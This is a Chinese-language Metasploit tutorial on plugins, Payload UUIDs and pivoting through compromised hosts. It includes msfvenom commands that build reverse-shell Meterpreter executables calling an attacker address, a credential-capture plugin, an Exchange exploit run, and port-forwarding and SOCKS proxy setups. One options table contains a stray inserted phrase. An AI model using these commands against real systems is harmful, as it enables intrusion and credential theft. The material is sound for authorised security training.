  Metasploit插件可以通过添加新功能、新用户界面命令等来改变 Metasploit 框架的行为。它们的设计初衷是为了具有非常灵活的定义,以使其尽可能地实用。

  插件默认情况下不可用,需要加载它们,如下面的命令所示,其中plugin_name表示我们要加载的Metasploit插件的名称:

msf6 > load plugin_name

  通过配置自定义“~/.msf4/msfconsole.rc”文件,可以在msfconsole启动时自动加载和配置插件,如下面的命令所示,其中plugin_name表示我们要加载的Metasploit插件的名称:

load plugin_name
plugin_name_command --option
2.2.2.5.1、可用的插件

  Metasploit当前可用的插件可以通过运行load -l命令或查看Metasploit的插件目录来找到:

名称描述
aggregator与外部会话聚合器交互
alias添加别名控制台命令的功能
auto_add_route每当会话打开时,为任何新子网添加路由
beholder从活动会话中捕获屏幕截图、网络摄像头图片和按键
besecure与beSECURE集成-开源漏洞管理
capture启动所有凭据捕获和欺骗服务
db_credcollect自动从Meterpeter会话事件中获取哈希和令牌,并将其存储在数据库中
db_tracker监视套接字调用并更新数据库后端
event_tester用于验证内部框架事件订阅者逻辑工作的内部测试工具
ffautoregen一旦文件格式漏洞模块发生更改,此插件就会重新加载并重新执行该模块
ips_filter扫描所有传出的数据,看看它是否与已知的IPS签名匹配
lab增加了管理虚拟机的能力
libnotify使用libnotify在会话和数据库事件上发送桌面通知
msfd通过侦听TCP端口为用户提供控制台接口
msgrpc通过HTTP提供MessagePack接口
nessusMetasploit的Nessus桥接插件
nexpose与Rapid7 Nexpose漏洞管理产品集成
openvas与OpenVAS集成-开源漏洞管理
pcap_log将所有套接字操作记录到pcaps(默认情况下在“/tmp/”中)
request使用各种协议从Metasploit内部发出请求
rssfeed创建事件的RSS提要
sample演示使用框架插件
session_notifier此插件通过短信通知我们新会话
session_tagger自动与新会话交互以创建新的远程TaggedByUser文件
socket_logger将套接字操作作为单独的文件记录到目录中
sounds当各种框架事件发生时自动播放声音
sqlmapMetasploit的sqlmap插件
thread用于测试Metasploit中线程使用情况的内部测试工具
token_adduser尝试使用所有连接的Meterpeter会话令牌添加帐户
token_hunter在所有活动的Meterpeter会话中搜索特定令牌
wiki将当前工作空间中存储的数据库值输出为DokuWiki或MediaWiki格式
wmapWeb评估插件
2.2.2.5.2、演示
  1. Alias插件
    Alias插件添加了别名控制台命令的功能:
msf6 > load alias

       执行完上面的命令后,就成功加载了Alias插件。然后我们可以使用如下命令来查看Alias插件的帮助信息:

msf6 > alias -h

       执行完上面的命令后,就会在命令行终端打印Alias插件的帮助信息:
在这里插入图片描述

       我们可以使用此插件注册一个别名,如proxy_enable

msf6 > alias proxy_enable "set Proxies http:localhost:8079"

       现在,当运行别名proxy_enable命令时,将为当前模块设置代理数据存储值:

msf6 > use auxiliary/scanner/http/title
msf6 auxiliary(scanner/http/title) > proxy_enable

       执行上面的命令后,会自动使用我们刚刚设置的别名变量值:
在这里插入图片描述

       别忘了使用如下命令退出当前模块:

msf6 auxiliary(scanner/http/title) > back

       我们还可以使用如下命令来查看已经注册好的别名:

msf6 > alias

       可以发现,命令行终端中输出了我们刚刚注册好的别名:
在这里插入图片描述

       要在Metasploit启动时自动加载和配置别名插件,请创建一个自定义“~/.msf4/msfconsole.rc”文件,并在其中添加如下内容:

load alias
alias proxy_enable "set Proxies http:localhost:8079"
alias proxy_disable "unset Proxies"
alias routes "route print"
  1. Capture插件
    获取凭据是许多攻击性安全测试人员手册中的关键且早期阶段。多年来,Metasploit通过位于“modules/auxiliary/server/capture”目录下的特定协议模块一直在促进这一过程。用户可以逐个启动和配置这些模块,但现在,Capture可以简化这一过程。Capture插件可以轻松启动在相同监听IP地址上的13种不同服务(包括启用SSL版本在内的17种),还可以通过Meterpreter远程接口启动。可以使用配置文件选择要启动的各个服务,完成后,可以使用单个命令轻松停止所有服务。
    为了使用该插件,首先必须加载它。这将提供captureg命令(用于Capture-Global),然后提供startstop子命令。在以下示例中,加载了Capture插件,然后在192.168.157.184接口上启动了所有默认服务。
msf6 > load capture 
msf6 > captureg start --ip 192.168.157.184

       执行完上面的命令后会在命令行终端打印如下图所示的提示信息:
在这里插入图片描述

       此内容最初发布在Rapid7的博客上。

2.2.2.6、Payload UUID

  2015年年中,许多HTTP和TCP Metasploit Payload增加了一个新功能:Payload UUID。Payload UUID是一个16字节的值,它对8字节的标识符、1字节的体系结构ID、1字节平台ID、4字节的时间戳和两个用于混淆的附加字节进行编码。源代码注释更详细。

  在HTTP有效载荷的情况下,16字节的UUID值以base64url格式编码,得到22字节的字符串。这个值总是放在Payload使用的URL的开头。一旦建立了连接,TCP Payload就通过套接字发送16字节的原始值。

  Payload UUID的目标有三个方面:

  • 唯一标识生成的Payload。 在运行社会工程攻击时,唯一标识生成的Payload至关重要,以确定目标执行了哪个具体的Payload。如果电子邮件攻击导致一个用户在执行之前将Payload转发给另一个用户,可以通过查看会话列表中的UUID来确定这一点。
  • 断开与未知UUID不匹配的连接。 这允许设置一个监听器,仅允许已知会话连接,这在运行面向互联网的Payload处理程序时非常重要。
  • 启用通用处理程序。 嵌入式平台和体系结构标识符允许监听器确定要发送回到分段器的阶段类型。这最终将允许单个监听器与多个Exploit共同使用,甚至是针对不同平台和体系结构的Exploit。
2.2.2.6.1、指定UUID

  尽管Payload UUID通常是随机的,但可以使用PayloadUUIDRaw选项指定静态UUID值。此选项采用8字节的十六进制字符串,例如“0011223344556677”。例如:

msf6 > msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.157.176 LPORT=4444 PayloadUUIDRaw=4444444444444444 -f exe -o payload.exe

  执行完上面的命令后,会在命令行终端中打印如下图所示的内容。这表明已经成功利用我们设置的UUID生成了Payload:
在这里插入图片描述

  也可以使用PayloadUUIDSeed选项使用任意长度的字符串派生静态UUID,而不是将静态UUID指定为原始8字节值:

msf6 > msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.157.176 LPORT=4444 PayloadUUIDSeed=ShellsAreDelicious -f exe -o payload.exe

  执行完上面的命令后,会在命令行终端中打印如下图所示的内容。这表明已经成功利用我们设置的值派生了UUID,并生成了对应的Payload:
在这里插入图片描述

2.2.2.6.2、追踪UUID

  Payload UUID默认启用,但除非PayloadUUIDTracking选项设置为true,否则Payload不会被追踪。设置此选项会导致在生成任何启用了UUID的Payload时,在~/.msf4/payloads.json中创建一个新条目。也可以使用PayloadUUIDName为给定的UUID创建仅限本地的名称。下面的示例将创建一个具有自定义名称的新注册的Payload:

msf6 > msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.157.176 LPORT=4444 PayloadUUIDTracking=true PayloadUUIDName=EmailCampaign20150101 -f exe -o payload.exe

  执行完上面的命令后,会在命令行终端中打印如下图所示的内容。这表明已经工程设置了UUID,并设置了UUID的名称,最终生成了对应的Payload:
在这里插入图片描述

  此外,一旦启动了这个Payload,执行sessions -l -v命令的输出将显示UUID(无论该UUID是否已注册),以及UUID的任何本地分配的名称。

2.2.2.6.3、白名单UUID

  “~/.msf4/payloads.json”文件还可以用作白名单。这使得可以在公共IP地址上的常用端口上运行监听器,而不会使Metasploit框架实例被虚假会话淹没。要为HTTP Payload启用白名单,可以在处理程序实例中将IgnoreUnknownPayloads选项设置为true。任何匹配已注册的Payload UUID和预生成的URL之一的传入请求都将被忽略。“payloads.json”文件可以在Metasploit框架实例之间复制,甚至在框架运行时手动编辑。

2.2.2.7、Metasploit中的枢轴攻击
2.2.2.7.1、综述

  虽然在测试环境中,人们通常会看到只有一个子网和一个网络环境的平面网络,但现实是,当涉及到试图危害整个公司的顶层测试时,我们通常必须处理多个网络,通常在它们之间设置交换机或防火墙,以使这些网络彼此分离。

  为了使枢轴攻击生效,我们必须入侵连接到两个或更多网络的主机。这通常意味着主机具有两个或更多网络适配器,无论是物理网络适配器、虚拟网络适配器还是两者的组合。

  一旦我们入侵了具有多个网络适配器的主机,我们可以使用在该主机上获得的会话,将该主机用作枢轴,通过被入侵的主机中继流量到我们想要访问的目标机器。这允许我们作为攻击者访问我们可能无法访问的网络上的机器,通过利用被入侵机器对内部网络的访问权限。

  现在我们已经了解了一些背景知识,让我们通过设置一个示例环境并浏览Metasploit的一些枢轴功能来更多地了解这一点。

2.2.2.7.2、支持的会话类型

  所有发生在TCP通道上的Meterpreter和SSH会话都提供了枢轴功能。虽然下面提到了Meterpreter,但请记住,这也适用于SSH会话。我们在此示例中仅仅使用Meterpreter是为了演示目的。

2.2.2.7.3、测试枢轴功能

  目标环境设置如下(需要强调的是,我们在此处并不进行真正的测试,因为我目前身边并没有这么多的机器,也没有时间来构建这么多机器的虚拟机,所以在本章节之后的所有测试,我都直接展示Metasploit作者的测试结果,后面如果有时间,我会将自己的测试结果更新到下一版文档中。不过对于测试结果倒可以放心,因为Metasploit作者使用的Metasploit的环境与我们使用的Metasploit的环境一致,即都为msf6,所以对于测试过程和测试结果应该都是一致的,这点无需担心):

  • Kail机器
    • 内部网络:无
    • 外部网络:172.19.182.171
  • Windows 11机器(用作枢轴)
    • 内部网络:169.254.16.221
    • 外部网络:172.19.185.34
  • Windows Server 2019计算机(最终目标)
    • 内部网络:169.254.204.110
    • 外部网络:无

  为了简单起见,我们假设我们在Windows 11机器上有一个会话,我们将使用它作为一个枢轴,将我们的流量路由到169.254.204.110的Windows Server 2019机器。

  有几种方法可以在Metasploit中注册此路由,以便它知道如何适当地重定向流量。让我们来看看这些方法。

2.2.2.7.4、自动路由

  最简单的方法之一是使用“post/multi/manage/autoroute”模块,该模块将帮助我们自动将目标的路由添加到Metasploit的路由表中,以便Metasploit知道如何通过我们在Windows 11机器上的会话将流量路由到目标Windows Server 2019机器。让我们看看这个命令的运行示例:

meterpreter > background  
[*] Backgrounding session 1...  
msf6 exploit(multi/handler) > use post/multi/manage/autoroute  
msf6 post(multi/manage/autoroute) > show options  
  
Module options (post/multi/manage/autoroute):  
  
   Name     Current Setting  Required  Description  
   ----     ---------------  --------  -----------  
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, auto  
                                       add, print, delete, default)  
   NETMASK  255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"  
   SESSION                   yes       The session to run this module on  
   SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0)  
  
msf6 post(multi/manage/autoroute) > set SESSION 1  
SESSION => 1  
msf6 post(multi/manage/autoroute) > set SUBNET 169.254.0.0  
SUBNET => 169.254.0.0  
msf6 post(multi/manage/autoroute) > set NETMASK /16  
NETMASK => /16  
msf6 post(multi/manage/autoroute) > show options  
  
Module options (post/multi/manage/autoroute):  
  
   Name     Current Setting  Required  Description  
   ----     ---------------  --------  -----------  
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, auto  
                                       add, print, delete, default)  
   NETMASK  /16              no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"  
   SESSION  1                yes       The session to run this module on  
   SUBNET   169.254.0.0      no        Subnet (IPv4, for example, 10.10.10.0)  
  
msf6 post(multi/manage/autoroute) > run  
  
[!] SESSION may not be compatible with this module:  
[!]  * incompatible session platform: windows  
[*] Running module against WIN11-TEST  
[*] Searching for subnets to autoroute.  
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.  
[+] Route added to subnet 172.19.176.0/255.255.240.0 from host's routing table.  
[*] Post module execution completed  
msf6 post(multi/manage/autoroute) >  

  如果我们现在使用Meterpeter的route命令,我们可以看到Metasploit的路由表中有两个路由表条目,它们与会话1(即Windows 11机器上的会话)绑定。这意味着,每当我们想联系指定网络中的一台机器时,我们都会通过会话1并使用它连接到目标。

msf6 post(multi/manage/autoroute) > route  
  
IPv4 Active Routing Table  
=========================  
  
   Subnet             Netmask            Gateway  
   ------             -------            -------  
   169.254.0.0        255.255.0.0        Session 1  
   172.19.176.0       255.255.240.0      Session 1  
  
[*] There are currently no IPv6 routes defined.  
msf6 post(multi/manage/autoroute) >  

  好的,这是一种方式,但如果我们想要手动执行呢?首先,要清除路由表中的所有路由,我们将执行route flush命令,然后执行route命令来确认我们已成功删除这些条目。

  1. msf6 post(multi/manage/autoroute) > route flush
  2. msf6 post(multi/manage/autoroute) > route
  3. [*] There are currently no routes defined.
  4. msf6 post(multi/manage/autoroute) >

  现在让我们手动尝试做同样的事情。

2.2.2.7.5、手动路由

  在这里,我们可以使用route add <IP ADDRESS OF SUBNET> <NETMASK> <GATEWAY>来添加Metasploit中的路由,然后使用route print来打印Metasploit知道的所有路由。请注意,<GATEWAY>参数是要用作网关的IP地址,或者更常见的情况是,是要用于调整流量的现有会话的会话ID。

msf6 post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1  
[*] Route added  
msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1  
[-] Invalid gateway  
msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1  
[*] Route added  
msf6 post(multi/manage/autoroute) > route print  
  
IPv4 Active Routing Table  
=========================  
  
   Subnet             Netmask            Gateway  
   ------             -------            -------  
   169.254.0.0        255.255.0.0        Session 1  
   172.19.176.0       255.255.240.0      Session 1  
  
[*] There are currently no IPv6 routes defined.  
msf6 post(multi/manage/autoroute) >  

  最后,我们可以通过使用route get 169.254.204.110来检查路由是否将使用会话1:

  1. msf6 post(multi/manage/autoroute) > route get 169.254.204.110
  2. 169.254.204.110 routes through: Session 1
  3. msf6 post(multi/manage/autoroute) >

  如果我们想删除特定的路由(例如,在这种情况下,我们想删除172.19.176.0/20路由,因为我们不需要它来进行此测试),我们可以发出route delroute remove命令,语法为route remove <IP ADDRESS OF SUBNET> <NETMASK IN SLASH FORMAT> <GATEWAY>,以下是一个示例:

msf6 post(multi/manage/autoroute) > route remove 172.19.176.0/20 1  
[*] Route removed  
msf6 post(multi/manage/autoroute) > route  
  
IPv4 Active Routing Table  
=========================  
  
   Subnet             Netmask            Gateway  
   ------             -------            -------  
   169.254.0.0        255.255.0.0        Session 1  
  
[*] There are currently no IPv6 routes defined.  
msf6 post(multi/manage/autoroute) >
2.2.2.7.6、使用枢轴功能

  现在,我们可以将枢轴功能与任何Metasploit模块一起使用,如下所示:

msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options  
  
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):  
  
   Name          Current Setting  Required  Description  
   ----          ---------------  --------  -----------  
   HttpPassword  thePassword      yes       The password to use to authenticate to the Ex  
                                            change server  
   HttpUsername  administrator    yes       The username to log into the Exchange server  
                                            as  
   Proxies                        no        A proxy chain of format type:host:port[,type:  
                                            host:port][...]  
   RHOSTS        169.254.204.110  yes       The target host(s), see https://github.com/ra  
                                            pid7/metasploit-framework/wiki/Using-Metasplo  
                                            it  
   RPORT         443              yes       The target port (TCP)  
   SRVHOST       0.0.0.0          yTo come, awaiting some more testing hold on :)es       The local host or network interface to listen  
                                             on. This must be an address on the local mac  
                                            hine or 0.0.0.0 to listen on all addresses.  
   SRVPORT       8080             yes       The local port to listen on.  
   SSL           true             no        Negotiate SSL/TLS for outgoing connections  
   SSLCert                        no        Path to a custom SSL certificate (default is  
                                            randomly generated)  
   TARGETURI     /                yes       Base path  
   URIPATH                        no        The URI to use for this exploit (default is r  
                                            andom)  
   VHOST                          no        HTTP server virtual host  
  
  
Payload options (cmd/windows/powershell_reverse_tcp):  
  
   Name          Current Setting  Required  Description  
   ----          ---------------  --------  -----------  
   LHOST         172.19.182.171   yes       The listen address (an interface may be speci  
                                            fied)  
   LOAD_MODULES                   no        A list of powershell modules separated by a c  
                                            omma to download over the web  
   LPORT         4444             yes       The listen port  
  
  
Exploit target:  
  
   Id  Name  
   --  ----  
   0   Windows Command  
  
  
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check  
  
[*] Target is an Exchange Server!  
[*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be a vulnerable version!  
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >  
2.2.2.7.7、在Meterpreter中使用SMB命名管道进行枢轴攻击

  Windows Meterpreter Payload通过SMB命名管道枢轴攻击支持在网络中进行横向移动。其它任何Meterpreter会话类型都不支持此功能。

  首先,在枢轴机器上打开一个Windows Meterpreter会话:

msf6 > use payload/windows/x64/meterpreter/reverse_tcp  
smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171  
lhost => 172.19.182.171  
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578  
lport => 4578  
msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler  
[*] Payload Handler Started as Job 0  
  
[*] Started reverse TCP handler on 172.19.182.171:4578   
msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34  
[*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500

  在枢轴机器上创建一个命名管道枢轴监听器,将-l设置为枢轴的绑定地址:

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1  
[*] Starting interaction with 1...  
  
meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows  
[+] Successfully created pipe pivot.  
meterpreter > background  
[*] Backgrounding session 1...  

  现在生成一个单独的Payload,该Payload将通过枢轴机器连接回来。此Payload将在最终目标机器上执行。请注意,不需要为命名管道Payload启动处理程序。

msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options  
  
Module options (payload/windows/x64/meterpreter/reverse_named_pipe):  
  
   Name      Current Setting  Required  Description  
   ----      ---------------  --------  -----------  
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)  
   PIPEHOST  .                yes       Host of the pipe to connect to  
   PIPENAME  msf-pipe         yes       Name of the pipe to listen on  
  
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221  
pipehost => 169.254.16.221  
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe  
[*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe...  

  在最终目标计算机上运行Payload后,将通过Windows 11(169.254.16.221)枢轴打开一个新会话。

msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500  
  
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions  
  
Active sessions  
===============  
  
  Id  Name  Type                     Information                                Connection  
  --  ----  ----                     -----------                                ----------  
  1         meterpreter x64/windows  WIN11\msfuser @ WIN11          172.19.182.171:4578 -> 172.19.185.34:49674 (172.19.185.34)  
  2         meterpreter x64/windows  WIN2019\msfuser @ WIN2019      Pivot via [172.19.182.171:4578 -> 172.19.185.34:49674]  
                                                                                 (169.254.204.110)  
2.2.2.7.8、外部工具的枢轴攻击
  1. portfwd
    注意:不鼓励使用此方法,因为我们只能设置单个端口和另一个目标主机及端口之间的映射,因此在可能的情况下,建议使用下面的Socks模块。此外,此方法已经被弃用了一段时间。
  • 本地端口转发
    要使用Metasploit设置端口转发,请在支持的会话控制台(如Meterpreter控制台)中使用portfwd命令。使用portfwd -h命令将显示类似于以下内容的帮助菜单:
meterpreter > portfwd -h  
Usage: portfwd [-h] [add | delete | list | flush] [args]  
  
  
OPTIONS:  
  
    -h   Help banner.  
    -i   Index of the port forward entry to interact with (see the "list" command).  
    -l   Forward: local port to listen on. Reverse: local port to connect to.  
    -L   Forward: local host to listen on (optional). Reverse: local host to connect to.  
    -p   Forward: remote port to connect to. Reverse: remote port to listen on.  
    -r   Forward: remote host to connect to.  
    -R   Indicates a reverse port forward.  
meterpreter >  

  要添加端口转发,请使用portfwd add命令,并至少指定-l-p-r选项,以分别指定要监听的本地端口、要连接的报告端口,以及要连接的目标主机。

meterpreter > portfwd add -l 1090 -p 443 -r 169.254.37.128  
[*] Local TCP relay created: :1090 <-> 169.254.37.128:443  
meterpreter >  

  请注意,这里通常被误解的是,端口将在运行Metasploit本身的机器上打开,而不是在运行会话的目标上打开。
然后,我们可以使用运行Metasploit的机器上的本地端口连接到目标主机:

 ~/git/metasploit-framework │ master ?21  wget --no-check-certificate https://127.0.0.1:1090  
--2022-04-08 14:36:23--  https://127.0.0.1:1090/  
Connecting to 127.0.0.1:1090... connected.  
WARNING: cannot verify 127.0.0.1's certificate, issued by ‘CN=DC1’:  
  Self-signed certificate encountered.  
    WARNING: certificate common name ‘DC1’ doesn't match requested host name ‘127.0.0.1’.  
HTTP request sent, awaiting response... 302 Moved Temporarily  
Location: https://127.0.0.1/owa/ [following]  
--2022-04-08 14:36:23--  https://127.0.0.1/owa/  
Connecting to 127.0.0.1:443... failed: Connection refused.  
 ~/git/metasploit-framework │ master ?21  

  请注意,我们可能需要编辑我们的“/etc/hosts”文件,将IP地址映射到给定的主机名,以便在使用此枢轴攻击时,可以正确地将重定向重定向到正确的主机名或IP地址。

  • 列出端口转发并删除条目
    可以使用portfwd list命令列出端口转发。要删除所有端口转发,请使用portfwd flush命令。或者,要选择性地删除本地端口转发条目,请使用portfwd delete -l <local port>命令。
meterpreter > portfwd delete -l 1090  
[*] Successfully stopped TCP relay on 0.0.0.0:1090  
meterpreter > portfwd list  
  
No port forwards are currently active.  
  
meterpreter >  
  • 远程端口转发
    这个场景与上面的有点不同。尽管之前我们指示会话将流量从运行Metasploit的主机转发到会话,然后通过反向端口转发到第二个目标主机,但情况有点不同。在这种情况下,我们指示会话通过会话将来自其他主机的流量转发到运行Metasploit的主机。这对于允许在目标网络中运行的其它应用程序与运行Metasploit的机器上的本地应用程序进行交互非常有用。
    要设置反向端口转发,请在支持的会话中使用portfwd add -R命令,然后指定-l-L-p选项。-l选项指定要将流量转发到的端口,-L选项指定要转发流量的IP地址,-p选项指定要侦听会话所在机器(我们当前正在与其会话控制台交互)上的流量的端口。
    例如,要在目标会话的端口9093上侦听,并使其在端口9093上将所有流量转发到位于172.20.97.72的Metasploit计算机,我们可以执行portfwd add -R -l 4444 -L 172.20.97.73 -p 9093命令,如下所示,这将导致具有会话的计算机开始在端口9093上侦听传入连接。
meterpreter > portfwd add -R -l 4444 -L 172.20.97.73 -p 9093  
[*] Local TCP relay created: 172.20.97.73:4444 <-> :9093  
meterpreter > netstat -a  
  
Connection list  
===============  
  
    Proto  Local addre  Remote addr  State        User  Inode  PID/Program name  
           ss           ess  
    -----  -----------  -----------  -----        ----  -----  ----------------  
    tcp    0.0.0.0:135  0.0.0.0:*    LISTEN       0     0      488/svchost.exe  
    tcp    0.0.0.0:445  0.0.0.0:*    LISTEN       0     0      4/System  
    tcp    0.0.0.0:504  0.0.0.0:*    LISTEN       0     0      5780/svchost.exe  
           0  
    tcp    0.0.0.0:909  0.0.0.0:*    LISTEN       0     0      2116/bind_tcp_x64_4444.exe  
           3  

  我们可以通过设置一个监听器XXX来确认这是有效的…。

2.2.2.7.9、Socks模块

  一旦建立了路由,Metasploit模块就可以访问路由中指定的IP范围。对于访问路由的其它应用程序,需要进行更多的设置。解决这一问题的一种方法是使用名为“auxiliary/server/socks_proxy”的模块来设置socks4a代理,然后使用proxychains-ng将外部应用程序引导到Metasploit已经设置的已建立的socks4a代理服务器,以便外部应用程序可以使用Metasploit的内部路由表。

  1. Socks服务器模块设置
    Metasploit可以使用“auxiliary/server/socks_proxy”模块启动一个SOCKS代理服务器。当设置为绑定到本地回环适配器时,应用程序可以通过代理将TCP/IP流量路由到Metasploit的路由表。以下是使用此模块的示例:
msf6 > use auxiliary/server/socks_proxy  
msf6 auxiliary(server/socks_proxy) > show options  
  
Module options (auxiliary/server/socks_proxy):  
  
   Name      Current Setting  Required  Description  
   ----      ---------------  --------  -----------  
   PASSWORD                   no        Proxy password for SOCKS5 listener  
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on.  
                                         This must be an address on the local machine or  
                                        0.0.0.0 to listen on all addresses.  
   SRVPORT   1080             yes       The port to listen on  
   USERNAME                   no        Proxy username for SOCKS5 listener  
   VERSION   5                yes       The SOCKS version to use (Accepted: 4a, 5)  
  
  
Auxiliary action:  
  
   Name   Description  
   ----   -----------  
   Proxy  Run a SOCKS proxy server  
  
  
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1  
SRVHOST => 127.0.0.1  
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080  
SRVPORT => 1080  
msf6 auxiliary(server/socks_proxy) > run  
[*] Auxiliary module running as background job 0.  
msf6 auxiliary(server/socks_proxy) >  
[*] Starting the SOCKS proxy server  
  
msf6 auxiliary(server/socks_proxy) > jobs  
  
Jobs  
====  
  
  Id  Name                           Payload  Payload opts  
  --  ----                           -------  ------------  
  0   Auxiliary: server/socks_proxy  
  
msf6 auxiliary(server/socks_proxy) >  
  1. proxychains-ng设置
    首先,请确保我们已安装了proxychains-ng。我们也可以使用proxychains,但是大多数存储库(如Ubuntu)会有其过时的版本,并且在作者的测试中曾发生过崩溃,因此强烈建议使用正在积极维护的proxychains-ng。我们可以使用以下命令安装它:
$ sudo apt-get update
$ sudo apt-get install build-essential libtool -y
$ cd /home/iie-iisd/
$ git clone https://github.com/rofl0r/proxychains-ng
$ cd proxychains-ng/
$ ./configure --prefix=/usr --sysconfdir=/etc
$ make
$ sudo make install

  现在编辑位于“/etc/proxychans.conf”的proxychans配置文件。在文件末尾添加以下行,以设置proxychans-ng使用我们刚刚设置的SOCKS 5服务器。请注意,我们可能需要使用sudo来编辑此文件,因为此文件的默认权限会阻止除root用户以外的任何人写入该文件。

socks5 127.0.0.1 1080

  最终版本应该看起来像这样:

1.	# proxychains.conf  VER 3.1  
2.	#  
3.	#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.  
4.	#  
5.	  
6.	# The option below identifies how the ProxyList is treated.  
7.	# only one option should be uncommented at time,  
8.	# otherwise the last appearing option will be accepted  
9.	#  
10.	#dynamic_chain  
11.	#  
12.	# Dynamic - Each connection will be done via chained proxies  
13.	# all proxies chained in the order as they appear in the list  
14.	# at least one proxy must be online to play in chain  
15.	# (dead proxies are skipped)  
16.	# otherwise EINTR is returned to the app  
17.	#  
18.	strict_chain  
19.	#  
20.	# Strict - Each connection will be done via chained proxies  
21.	# all proxies chained in the order as they appear in the list  
22.	# all proxies must be online to play in chain  
23.	# otherwise EINTR is returned to the app  
24.	#  
25.	#random_chain  
26.	#  
27.	# Random - Each connection will be done via random proxy  
28.	# (or proxy chain, see  chain_len) from the list.  
29.	# this option is good to test your IDS :)  
30.	  
31.	# Make sense only if random_chain  
32.	#chain_len = 2  
33.	  
34.	# Quiet mode (no output from library)  
35.	#quiet_mode  
36.	  
37.	# Proxy DNS requests - no leak for DNS data  
38.	proxy_dns  
39.	  
40.	# Some timeouts in milliseconds  
41.	tcp_read_time_out 15000  
42.	tcp_connect_time_out 8000  
43.	  
44.	# ProxyList format  
45.	#       type  host  port [user pass]  
46.	#       (values separated by 'tab' or 'blank')  
47.	#  
48.	#  
49.	#        Examples:  
50.	#  
51.	#               socks5  192.168.67.78   1080    lamer   secret  
52.	#       http    192.168.89.3    8080    justu   hidden  
53.	#       socks4  192.168.1.49    1080  
54.	#           http    192.168.39.93   8080  
55.	#  
56.	#  
57.	#       proxy types: http, socks4, socks5  
58.	#        ( auth types supported: "basic"-http  "user/pass"-socks )  
59.	#  
60.	[ProxyList]  
61.	# add proxy here ...  
62.	# meanwile  
63.	# defaults set to "tor"  
64.	socks5 127.0.0.1 1080  

  注意:如果配置文件中有其它代理条目,我们可能需要注释掉它们,因为它们可能会干扰正确的路由。

  1. 使用proxychains-ng
    现在,我们可以将proxychains-ng与其他应用程序(如Nmap、Nessus、Firefox等)相结合,通过Metasploit路由扫描或访问机器和资源。我们所需要做的就是在需要的应用程序之前调用proxychains-ng。无需更改相应应用程序中的代理设置。
 ~/git/metasploit-framework │ master ?21  wget https://169.254.37.128  
--2022-04-08 13:52:23--  https://169.254.37.128/  
Connecting to 169.254.37.128:443... failed: No route to host.  
~/git/proxychains-ng │ master ?1  proxychains4 wget https://169.254.37.128  
[proxychains] config file found: /etc/proxychains.conf  
[proxychains] preloading /usr/local/lib/libproxychains4.so  
[proxychains] DLL init: proxychains-ng 4.16-git-1-g07c15a0  
--2022-04-08 14:06:52--  https://169.254.37.128/  
Connecting to 169.254.37.128:443... [proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:443  ...  OK  
connected.  
ERROR: cannot verify 169.254.37.128's certificate, issued by ‘CN=DC1’:  
  Self-signed certificate encountered.  
    ERROR: certificate common name ‘DC1’ doesn't match requested host name ‘169.254.37.128’.  
To connect to 169.254.37.128 insecurely, use `--no-check-certificate'.  
 ~/git/proxychains-ng │ master ?1  proxychains4 wget --no-check-certificate https://169.254.37.128  
[proxychains] config file found: /etc/proxychains.conf  
[proxychains] preloading /usr/local/lib/libproxychains4.so  
[proxychains] DLL init: proxychains-ng 4.16-git-1-g07c15a0  
--2022-04-08 14:26:53--  https://169.254.37.128/  
Connecting to 169.254.37.128:443... [proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:443  ...  OK  
connected.  
WARNING: cannot verify 169.254.37.128's certificate, issued by ‘CN=DC1’:  
  Self-signed certificate encountered.  
    WARNING: certificate common name ‘DC1’ doesn't match requested host name ‘169.254.37.128’.  
HTTP request sent, awaiting response... 302 Moved Temporarily  
Location: https://169.254.37.128/owa/ [following]  
--2022-04-08 14:26:53--  https://169.254.37.128/owa/  
Connecting to 169.254.37.128:443... [proxychains] Strict chain  ...  127.0.0.1:1080  ...  169.254.37.128:443  ...  OK  
connected.  
WARNING: cannot verify 169.254.37.128's certificate, issued by ‘CN=DC1’:  
  Self-signed certificate encountered.  
    WARNING: certificate common name ‘DC1’ doesn't match requested host name ‘169.254.37.128’.  
HTTP request sent, awaiting response... 302 Found  
